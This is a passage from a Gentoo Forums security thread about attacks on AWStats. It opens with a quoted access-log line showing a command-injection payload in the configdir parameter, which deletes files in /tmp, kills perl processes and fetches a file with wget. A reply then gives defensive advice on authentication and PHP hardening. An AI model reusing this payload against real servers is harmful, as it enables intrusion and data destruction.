mydomain.com/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;
wget%20www.yahoo.com/sess_testHack;
echo| HTTP/1.1" 200 604 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98 )"
Top
rex123
Apprentice
Apprentice
Posts: 272
Joined: Wed Apr 21, 2004 1:08 pm

Re: Thanks for all the help

  • Quote

Post by rex123 » Mon Apr 04, 2005 5:01 pm

newtonian wrote: Will adding authentication stop this kind of attack and make awstats safe to use again?
Authentication will prevent anonymous users from being able to access at all. If they can't access, they can't exploit stuff.
But if you have anything still available to the world without authentication, it could be vulnerable. If it's php code, and it's not something you wrote (eg phpbb, phpnuke, awstats, phpmyadmin, etc etc) then you can be sure there are plenty of people looking for exploits.

So you should do your best in general to make php secure, by turning on safe_mode etc etc, as per all the security info.
Top
Post Reply

37 posts
  • 1
  • 2
  • Next

Return to “Networking & Security”

Jump to
  • Assistance
  • ↳   News & Announcements
  • ↳   Frequently Asked Questions
  • ↳   Installing Gentoo
  • ↳   Multimedia
  • ↳   Desktop Environments
  • ↳   Networking & Security
  • ↳   Kernel & Hardware
  • ↳   Portage & Programming
  • ↳   Gamers & Players
  • ↳   Other Things Gentoo
  • ↳   Unsupported Software
  • Discussion & Documentation
  • ↳   Documentation, Tips & Tricks
  • ↳   Gentoo Chat
  • ↳   Gentoo Forums Feedback
  • ↳   Duplicate Threads
  • International Gentoo Users
  • ↳   中文 (Chinese)
  • ↳   Dutch
  • ↳   Finnish
  • ↳   French
  • ↳   Deutsches Forum (German)
  • ↳   Diskussionsforum
  • ↳   Deutsche Dokumentation
  • ↳   Greek
  • ↳   Forum italiano (Italian)
  • ↳   Forum di discussione italiano
  • ↳   Risorse italiane (documentazione e tools)
  • ↳   Polskie forum (Polish)
  • ↳   Instalacja i sprzęt
  • ↳   Polish OTW
  • ↳   Portuguese
  • ↳   Documentação, Ferramentas e Dicas
  • ↳   Russian
  • ↳   Scandinavian
  • ↳   Spanish
  • ↳   Other Languages
  • Architectures & Platforms
  • ↳   Gentoo on ARM
  • ↳   Gentoo on PPC
  • ↳   Gentoo on Sparc
  • ↳   Gentoo on Alternative Architectures
  • ↳   Gentoo on AMD64
  • ↳   Gentoo for Mac OS X (Portage for Mac OS X)
  • Board index
  • All times are UTC
  • Delete cookies

© 2001–2026 Gentoo Foundation, Inc.

Powered by phpBB® Forum Software © phpBB Limited

Privacy Policy

 

 

magic